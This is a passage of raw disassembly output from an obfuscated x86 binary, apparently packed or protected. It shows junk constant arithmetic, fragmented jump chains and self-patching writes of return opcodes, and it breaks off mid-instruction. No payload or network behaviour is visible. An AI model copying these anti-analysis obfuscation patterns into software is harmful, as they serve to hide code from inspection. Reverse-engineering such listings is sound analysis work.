--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44313A loc_44B20C: ; CODE XREF: sub_44313A-AF49j jmp loc_44DE01 ; END OF FUNCTION CHUNK FOR sub_44313A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4449C0 loc_44B211: ; CODE XREF: sub_4449C0+861Aj pop ecx ; END OF FUNCTION CHUNK FOR sub_4449C0 ; START OF FUNCTION CHUNK FOR sub_43B98D loc_44B212: ; CODE XREF: sub_43B98D+11FBBj or ecx, 5877FF81h and ecx, 22284A0Dh add ecx, 0AAC3809Dh sub ecx, 99D09DCEh cmp ecx, 0DEE0D624h jmp loc_447BF5 ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_44B235: ; CODE XREF: sub_440280:loc_448888j jnz loc_4493FE jmp loc_43FFB6 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- and esi, 522F69D1h jmp sub_43A8B0 ; --------------------------------------------------------------------------- mov ebx, [edi] jmp sub_43AD64 ; --------------------------------------------------------------------------- loc_44B252: ; CODE XREF: y22d6.y.:loc_441CC7j xchg eax, [esp] jmp sub_4480DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E86C loc_44B25A: ; CODE XREF: sub_43E86C-468Bj ; sub_43B7D4:loc_43A1EFj ... jmp loc_44AD44 ; --------------------------------------------------------------------------- loc_44B25F: ; CODE XREF: sub_43B7D4+63E8j ; sub_43E86C+CE9Cj pop ecx loc_44B260: ; CODE XREF: sub_44B17B:loc_440F58j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_43E86C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C48C loc_44B262: ; CODE XREF: sub_44C48C-BC53j jmp nullsub_356 ; END OF FUNCTION CHUNK FOR sub_44C48C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44B267 proc near ; CODE XREF: sub_43EC01-6D21p ; sub_4399C6+4p ... ; FUNCTION CHUNK AT 00438801 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043BC71 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A568 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044BC98 SIZE 00000016 BYTES push ebp mov ebp, esp push ecx call sub_440330 loc_44B270: ; CODE XREF: sub_43E913+4j jmp loc_438801 sub_44B267 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_44B275: ; CODE XREF: sub_440280-2366j jmp loc_4489EF ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- loc_44B27A: ; CODE XREF: y22d6.y.:00438374j jmp loc_43A7FF ; =============== S U B R O U T I N E ======================================= sub_44B27F proc near ; CODE XREF: sub_4432B8:loc_4432D5j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043E1AF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043F48C SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00449C88 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044BFB9 SIZE 00000016 BYTES push ebx mov ebx, edx xchg ebx, [esp+4+var_4] push ecx push 0CA4D65Eh pop ecx jmp loc_449C88 sub_44B27F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447BB2 loc_44B291: ; CODE XREF: sub_447BB2+66E1j and ecx, 0A69EEC6Eh push offset loc_445A9D jmp nullsub_275 ; END OF FUNCTION CHUNK FOR sub_447BB2 ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437D47 loc_44B2A4: ; CODE XREF: y22d6.y.:00439DBCj ; sub_437D47+E187j jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_437D47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442856 loc_44B2A9: ; CODE XREF: sub_442856-46j jmp loc_43CC4C ; END OF FUNCTION CHUNK FOR sub_442856 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA69 loc_44B2AE: ; CODE XREF: y22d6.y.:00444A72j ; sub_44AA69-4BC3j push offset sub_44BCAE jmp loc_440030 ; END OF FUNCTION CHUNK FOR sub_44AA69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447940 loc_44B2B8: ; CODE XREF: sub_447940:loc_444313j pop ebp xor edx, 0BC3FF75Ch add edx, 6132B0A1h xchg edx, [esp-4+arg_0] jmp loc_43BC33 ; END OF FUNCTION CHUNK FOR sub_447940 ; --------------------------------------------------------------------------- loc_44B2CD: ; CODE XREF: y22d6.y.:loc_444398j push ebx mov ebx, edi xchg ebx, [esp] push 0B21B65Ah jmp loc_444027 ; --------------------------------------------------------------------------- mov ds:dword_41E178, eax lea eax, nullsub_360 mov byte ptr [eax], 0C3h jmp loc_4370E2 ; --------------------------------------------------------------------------- call nullsub_315 jmp ds:dword_41E17C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44B2FC: ; CODE XREF: sub_44DCF0+Aj jmp loc_43CD1B ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447CBE loc_44B301: ; CODE XREF: sub_447CBE+275j jmp loc_438515 ; END OF FUNCTION CHUNK FOR sub_447CBE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_315. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_4485EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_44B30C: ; CODE XREF: sub_44B17B:loc_4398B3j sub eax, ebx pop ebx call sub_43A28E loc_44B314: ; CODE XREF: y22d6.y.:loc_43D087j jz loc_442058 jmp loc_43D7EA ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65F loc_44B31F: ; CODE XREF: sub_43C65F:loc_444841j jz loc_440899 jmp loc_43DFD7 ; END OF FUNCTION CHUNK FOR sub_43C65F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4452EE loc_44B32A: ; CODE XREF: sub_4452EE:loc_44DE93j shr edx, 10h and edi, 0C928000Bh jmp loc_44762A ; END OF FUNCTION CHUNK FOR sub_4452EE ; --------------------------------------------------------------------------- loc_44B338: ; CODE XREF: y22d6.y.:0043EADFj push 0BE07BC8Fh ; =============== S U B R O U T I N E ======================================= sub_44B33D proc near ; CODE XREF: sub_4408F2+DB16p arg_0 = dword ptr 4 xchg edi, [esp+0] pop edi add ebx, 3B2EEA83h xchg ebx, [esp-4+arg_0] jmp sub_44B267 sub_44B33D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447BB2 loc_44B34F: ; CODE XREF: sub_447BB2:loc_4445BDj mov edi, ebp pop ebp push esi mov esi, ecx xchg esi, [esp+0] jmp loc_44E280 ; END OF FUNCTION CHUNK FOR sub_447BB2 ; =============== S U B R O U T I N E ======================================= sub_44B35D proc near ; DATA XREF: sub_44DF58+11o ; FUNCTION CHUNK AT 00445162 SIZE 00000005 BYTES cmp dword ptr [ebp-4], 0 push offset sub_44CBA6 jmp loc_445162 sub_44B35D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416F3 loc_44B36B: ; CODE XREF: sub_4416F3-17E3j jp loc_43A945 jge loc_43C155 loc_44B377: ; CODE XREF: sub_4416F3:loc_440EB5j push 661D8787h pop eax and eax, 694D2283h rol eax, 2 or eax, 1751DFB3h jmp loc_44D00E ; END OF FUNCTION CHUNK FOR sub_4416F3 ; --------------------------------------------------------------------------- loc_44B391: ; CODE XREF: y22d6.y.:004374BEj cmp ebx, edx jmp loc_44CC80 ; --------------------------------------------------------------------------- loc_44B398: ; CODE XREF: y22d6.y.:00446E3Ej cdq cmp edi, 0F77B39ECh jmp loc_4474E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_44B3A4: ; CODE XREF: sub_44AEDA+26A0j jnz loc_440784 add ecx, esi jmp loc_44BF3B ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- loc_44B3B1: ; CODE XREF: y22d6.y.:loc_43BCF2j mov byte ptr [eax], 0C3h jmp nullsub_340 ; =============== S U B R O U T I N E ======================================= sub_44B3B9 proc near ; CODE XREF: sub_40FE64+27p ; sub_417720+134p ... call sub_44B3C9 jmp ds:off_41E13C sub_44B3B9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B635 loc_44B3C4: ; CODE XREF: sub_44B635-7BBEj jmp loc_43F60A ; END OF FUNCTION CHUNK FOR sub_44B635 ; =============== S U B R O U T I N E ======================================= sub_44B3C9 proc near ; CODE XREF: sub_44B3C9:loc_4402C4j ; sub_44B3B9p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043919C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B2D7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043B37F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043B77E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043F054 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0043FE7E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004402C4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004437FF SIZE 00000005 BYTES pop edx jns loc_43B2D7 jmp loc_4437FF sub_44B3C9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ds:dword_41E138, eax lea eax, nullsub_340 mov byte ptr [eax], 0C3h jmp nullsub_340 ; --------------------------------------------------------------------------- pop edx mov eax, [esp] jmp loc_44CACE ; --------------------------------------------------------------------------- loc_44B3F2: ; CODE XREF: y22d6.y.:0043CE7Bj jns loc_43F678 ; =============== S U B R O U T I N E ======================================= sub_44B3F8 proc near ; CODE XREF: sub_43D9D2-3B5Ep xchg ebx, [esp+0] pop ebx mov eax, [eax] add eax, [ebp-4] mov [ebp-0Ch], eax loc_44B404: ; CODE XREF: sub_43EFB1:loc_43BF5Bj ; y22d6.y.:004437E3j ... call sub_440F2F or ebx, 0E5EA789h jmp sub_44A095 sub_44B3F8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_44B414: ; CODE XREF: sub_4475B3:loc_44BD9Bj ; y22d6.y.:0044BDB4j sub esi, 7A1ED7AAh or esi, 276BD34Fh test esi, 80000000h jmp loc_43B702 ; END OF FUNCTION CHUNK FOR sub_4475B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4499C9 loc_44B42B: ; CODE XREF: sub_4499C9+13j and eax, 6EC9CB47h xor eax, 0F0760CD2h add eax, ebp add eax, 6DC03855h push offset loc_449B60 jmp loc_43BB71 ; END OF FUNCTION CHUNK FOR sub_4499C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DF73 loc_44B449: ; CODE XREF: sub_44DF73+Bj mov byte ptr [ecx], 87h sbb ecx, eax jmp loc_44845B ; END OF FUNCTION CHUNK FOR sub_44DF73 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44B453: ; CODE XREF: sub_448EB6-DF40j jg loc_440DD8 jmp loc_448625 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_44B45E: ; CODE XREF: y22d6.y.:loc_4464B8j jz loc_44C548 jmp loc_443B7E ; --------------------------------------------------------------------------- sub edi, 4F1E371Fh or ecx, 260A80DDh jmp sub_43FC1E ; =============== S U B R O U T I N E ======================================= sub_44B47A proc near ; CODE XREF: y22d6.y.:00437A11j ; sub_444427-A8CCp xchg edx, [esp+0] loc_44B47D: ; CODE XREF: sub_448EB6:loc_44B1E9j pop edx pop esi push offset loc_43F9D2 jmp nullsub_170 sub_44B47A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_44B489 proc near ; CODE XREF: sub_443C3C:loc_4413A0j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00438833 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00438F98 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043AAB0 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0043BCD8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043C54B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043D14F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043DE35 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043FF81 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004401F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044034F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004403E5 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00440404 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004420C4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00442763 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00442AAB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442BD8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00443D8D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044454F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00447091 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004478F9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004480D5 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0044848E SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0044A447 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0044A47C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0044AA97 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0044AC88 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044CA2E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044CE75 SIZE 0000001D BYTES push ebp pop edx xchg edx, [esp-8+arg_4] mov ebp, esp push ecx jmp loc_44848E sub_44B489 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44B496: ; CODE XREF: y22d6.y.:loc_44B9E3j xchg ebx, [esp] push 90291550h pop edx add edx, 5DC6649h or edx, 5E676F1Ah add edx, 42797602h jmp loc_43CF71 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_44B4B6: ; CODE XREF: sub_449641:loc_44887Dj lea eax, nullsub_9 call sub_444F2B loc_44B4C1: ; CODE XREF: sub_444871-3EDDj jmp loc_43DB2B ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_44B4C6: ; CODE XREF: sub_44BCC2-D263j jmp loc_44D762 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449ECF loc_44B4CB: ; CODE XREF: sub_449ECF-E4B0j jmp loc_43A6B3 ; END OF FUNCTION CHUNK FOR sub_449ECF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44B4D0: ; CODE XREF: sub_448EB6:loc_43759Aj test edx, 800000h jmp loc_43E8F0 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4441D9 loc_44B4DB: ; CODE XREF: sub_4441D9+3F6Dj cmp esi, ebp jmp loc_44C0F2 ; END OF FUNCTION CHUNK FOR sub_4441D9 ; --------------------------------------------------------------------------- cmp edx, 8FD15571h jmp loc_4390D9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_173. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448C77 loc_44B4EE: ; CODE XREF: sub_448C77-ACA5j jmp loc_4382BC ; END OF FUNCTION CHUNK FOR sub_448C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446F1F loc_44B4F3: ; CODE XREF: sub_446F1F+10j add esi, 348B407Eh xchg esi, [esp-4+arg_0] jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_446F1F ; --------------------------------------------------------------------------- mov ds:off_41E100, eax lea eax, loc_442502 mov byte ptr [eax], 0C3h jmp loc_44AB54 ; =============== S U B R O U T I N E ======================================= sub_44B515 proc near ; CODE XREF: .text:00416868p ; sub_44B515+5j ; DATA XREF: ... call sub_44633F jmp ds:off_41E104 sub_44B515 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445DB1 loc_44B520: ; CODE XREF: sub_445DB1+1Aj jmp nullsub_172 ; END OF FUNCTION CHUNK FOR sub_445DB1 ; --------------------------------------------------------------------------- loc_44B525: ; CODE XREF: y22d6.y.:0043FBFDj jmp loc_43EB52 ; --------------------------------------------------------------------------- jmp ds:dword_41E168 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- or al, 24h mov edx, ecx loc_44B535: ; CODE XREF: y22d6.y.:loc_439C09j pop ecx jmp loc_438551 ; --------------------------------------------------------------------------- loc_44B53B: ; DATA XREF: sub_4432B8:loc_43863Co movzx eax, word ptr [ebp-6] jmp loc_44E594 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_44B544: ; CODE XREF: sub_438B66:loc_444B53j cmp dword ptr [ebp-20h], 0 jge loc_44A7F5 jmp loc_447D90 ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44439D loc_44B553: ; CODE XREF: sub_44439D:loc_43FEBBj jnz loc_44292E ; END OF FUNCTION CHUNK FOR sub_44439D ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44B559: ; CODE XREF: sub_4432B8+A7j jmp sub_44D83F ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444581 loc_44B55E: ; CODE XREF: sub_444581-2A7Bj jmp loc_449773 ; END OF FUNCTION CHUNK FOR sub_444581 ; --------------------------------------------------------------------------- sbb esi, ebp jmp loc_44292C ; --------------------------------------------------------------------------- loc_44B56A: ; DATA XREF: sub_43AD2F+EE27o push esi push eax pop esi xchg esi, [esp] call sub_441D5D loc_44B575: ; CODE XREF: y22d6.y.:0044BB32j jmp loc_447105 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B674 loc_44B57A: ; CODE XREF: sub_44B674+3j jmp loc_440882 ; END OF FUNCTION CHUNK FOR sub_44B674 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441A2B loc_44B57F: ; CODE XREF: sub_441A2B-4579j jmp loc_44D751 ; END OF FUNCTION CHUNK FOR sub_441A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_44B584: ; CODE XREF: sub_44057E+CCDAj jnb loc_43DCEC loc_44B58A: ; CODE XREF: y22d6.y.:loc_446F53j jmp loc_44005E ; END OF FUNCTION CHUNK FOR sub_44057E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_123. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_44B590: ; CODE XREF: y22d6.y.:0044015Aj jmp loc_44AD84 ; --------------------------------------------------------------------------- loc_44B595: ; CODE XREF: y22d6.y.:loc_43964Dj mov ebp, esp push edi mov edi, ecx push offset loc_43A0D2 jmp loc_43BC9F ; --------------------------------------------------------------------------- loc_44B5A4: ; CODE XREF: y22d6.y.:00449805j jz loc_437A55 ; START OF FUNCTION CHUNK FOR sub_44D7E0 loc_44B5AA: ; CODE XREF: sub_44D7E0:loc_442B50j or eax, 957BB337h loc_44B5B0: ; CODE XREF: y22d6.y.:loc_43C13Dj add eax, 42F13CDDh cmp eax, 1D6408D8h jmp loc_444994 ; END OF FUNCTION CHUNK FOR sub_44D7E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC01 loc_44B5C1: ; CODE XREF: sub_43EC01:loc_43EFACj mov byte ptr [eax], 0C3h jmp loc_4383D5 ; END OF FUNCTION CHUNK FOR sub_43EC01 ; --------------------------------------------------------------------------- call nullsub_15 jmp ds:dword_41E174 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C55B loc_44B5D4: ; CODE XREF: sub_43C55B+6CCFj jmp loc_442624 ; END OF FUNCTION CHUNK FOR sub_43C55B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_446321 ; --------------------------------------------------------------------------- jmp ds:off_41E074 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B43 loc_44B5E5: ; CODE XREF: sub_437B43+10BCDj jmp loc_43F1F9 ; END OF FUNCTION CHUNK FOR sub_437B43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A58D loc_44B5EA: ; CODE XREF: y22d6.y.:0043DC44j ; sub_444865:loc_443EE7j ... pop edx jnb loc_43DC49 mov eax, [esp-4+arg_0] jmp loc_44BF62 ; END OF FUNCTION CHUNK FOR sub_43A58D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44146B loc_44B5F9: ; CODE XREF: sub_44146B+10j or edx, 0D7C24146h add edx, 86C25ECh xchg edx, [esp-4+arg_0] jmp loc_44611F ; END OF FUNCTION CHUNK FOR sub_44146B ; --------------------------------------------------------------------------- loc_44B60D: ; CODE XREF: y22d6.y.:loc_437BCFj call sub_44CAD8 ; START OF FUNCTION CHUNK FOR sub_438A6F loc_44B612: ; CODE XREF: sub_438A6F+3B40j jmp loc_43DAF5 ; END OF FUNCTION CHUNK FOR sub_438A6F ; --------------------------------------------------------------------------- adc edx, edi jmp sub_44243B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F750 loc_44B61E: ; CODE XREF: sub_43F750+8AFFj jnz loc_4407E2 jmp loc_44A9BD ; END OF FUNCTION CHUNK FOR sub_43F750 ; =============== S U B R O U T I N E ======================================= sub_44B629 proc near ; CODE XREF: y22d6.y.:0043CD0Cp ; y22d6.y.:00448E6Cj ; FUNCTION CHUNK AT 0044A58B SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov byte ptr [eax], 0C3h jmp loc_44A58B sub_44B629 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_44B635 proc near ; CODE XREF: sub_401000+E1p ; sub_401BBC+1Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043708E SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00439D6C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043B1BF SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0043DFFF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F60A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00443A69 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00446267 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004473C6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004475F4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00447BD4 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00448C4E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044B3C4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D676 SIZE 00000005 BYTES jnz loc_443A69 mov eax, ds:dword_444394 or eax, eax jnz loc_43708E jmp loc_446267 sub_44B635 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4383E0 loc_44B64E: ; CODE XREF: sub_4383E0+D007j ; y22d6.y.:00445CC1j xchg eax, [esp+0] mov edx, eax call sub_43DF1F ; END OF FUNCTION CHUNK FOR sub_4383E0 ; START OF FUNCTION CHUNK FOR sub_4477E6 loc_44B658: ; CODE XREF: sub_4477E6-5355j jmp loc_44108A ; END OF FUNCTION CHUNK FOR sub_4477E6 ; =============== S U B R O U T I N E ======================================= sub_44B65D proc near ; DATA XREF: sub_4432B8:loc_43806Do var_4 = dword ptr -4 rol eax, 1Ah push edx mov edx, eax xchg edx, [esp+4+var_4] retn sub_44B65D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BC51 loc_44B667: ; CODE XREF: sub_43BC51+9j pop ebx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_43BC51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44B66A: ; CODE XREF: sub_4432B8+4C09j jmp nullsub_219 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_44B66F: ; CODE XREF: y22d6.y.:0043A34Fj jmp loc_43BA48 ; =============== S U B R O U T I N E ======================================= sub_44B674 proc near ; CODE XREF: y22d6.y.:00437020p ; sub_43DB23-485Cp ... var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437BB8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438527 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00439B48 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043BD7D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043E216 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00440882 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00441BC7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00442A81 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442AA6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444ECB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00449683 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00449CD3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044B57A SIZE 00000005 BYTES push esi mov esi, ebp jmp loc_44B57A sub_44B674 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D7E0 loc_44B67C: ; CODE XREF: sub_44D7E0:loc_43D657j pop edx and edx, 0D04447B1h or edx, 409A1E19h call sub_43C6C5 ; END OF FUNCTION CHUNK FOR sub_44D7E0 ; START OF FUNCTION CHUNK FOR sub_4397E6 loc_44B68E: ; CODE XREF: sub_4397E6+107DFj jmp nullsub_175 ; END OF FUNCTION CHUNK FOR sub_4397E6 ; --------------------------------------------------------------------------- loc_44B693: ; CODE XREF: y22d6.y.:0043CBEEj jmp nullsub_16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44B698: ; CODE XREF: sub_448EB6-DE3Ej jmp loc_43E839 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441030 loc_44B69D: ; CODE XREF: sub_441030:loc_43C03Aj push offset loc_438CC8 jmp nullsub_176 ; END OF FUNCTION CHUNK FOR sub_441030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44156E loc_44B6A7: ; CODE XREF: sub_44156E-6ECBj xchg ecx, [esp-8+arg_4] jmp sub_43F7FF ; END OF FUNCTION CHUNK FOR sub_44156E ; --------------------------------------------------------------------------- db 0C1h dd 0D93B1BE7h, 0FEBDA6E9h db 0FFh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_76. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_44B6BA: ; CODE XREF: y22d6.y.:0043FCA1j jmp loc_444EE9 ; --------------------------------------------------------------------------- loc_44B6BF: ; CODE XREF: y22d6.y.:0043A7E6j jmp loc_437A88 ; --------------------------------------------------------------------------- loc_44B6C4: ; DATA XREF: sub_4431CD:loc_442502o jnb loc_44B76F pop edx mov eax, [esp] push offset loc_439E43 jmp loc_43D850 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4422AA loc_44B6D8: ; CODE XREF: sub_4422AA:loc_43ACC6j jnz loc_4399F4 jge nullsub_177 popf jmp loc_4399F4 ; END OF FUNCTION CHUNK FOR sub_4422AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E86C loc_44B6EA: ; CODE XREF: sub_43E86C:loc_43DBCDj add edi, 0C63975F1h and edi, 0AF1F2A19h add edi, 5DE7D7FBh add eax, edi call sub_4404E5 loc_44B703: ; CODE XREF: sub_43B7D4+12B23j mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_44B25F jmp loc_437629 ; END OF FUNCTION CHUNK FOR sub_43E86C ; --------------------------------------------------------------------------- push esi push 0C679CF13h xchg eax, [esp] mov esi, eax pop eax sub esi, 5E8E6A8Eh or esi, 0B81A8104h jmp loc_447A53 ; --------------------------------------------------------------------------- loc_44B730: ; CODE XREF: y22d6.y.:0043D890j not edx loc_44B732: ; CODE XREF: y22d6.y.:loc_43A6C0j push 3684E5C3h pop eax and eax, 904FA851h jmp loc_442C8C ; --------------------------------------------------------------------------- loc_44B743: ; CODE XREF: y22d6.y.:0043E7A6j pop esi xor esi, 0E17E7B0Dh rol esi, 18h add esi, 0BD238DA7h mov [esi], eax pop esi jmp near ptr 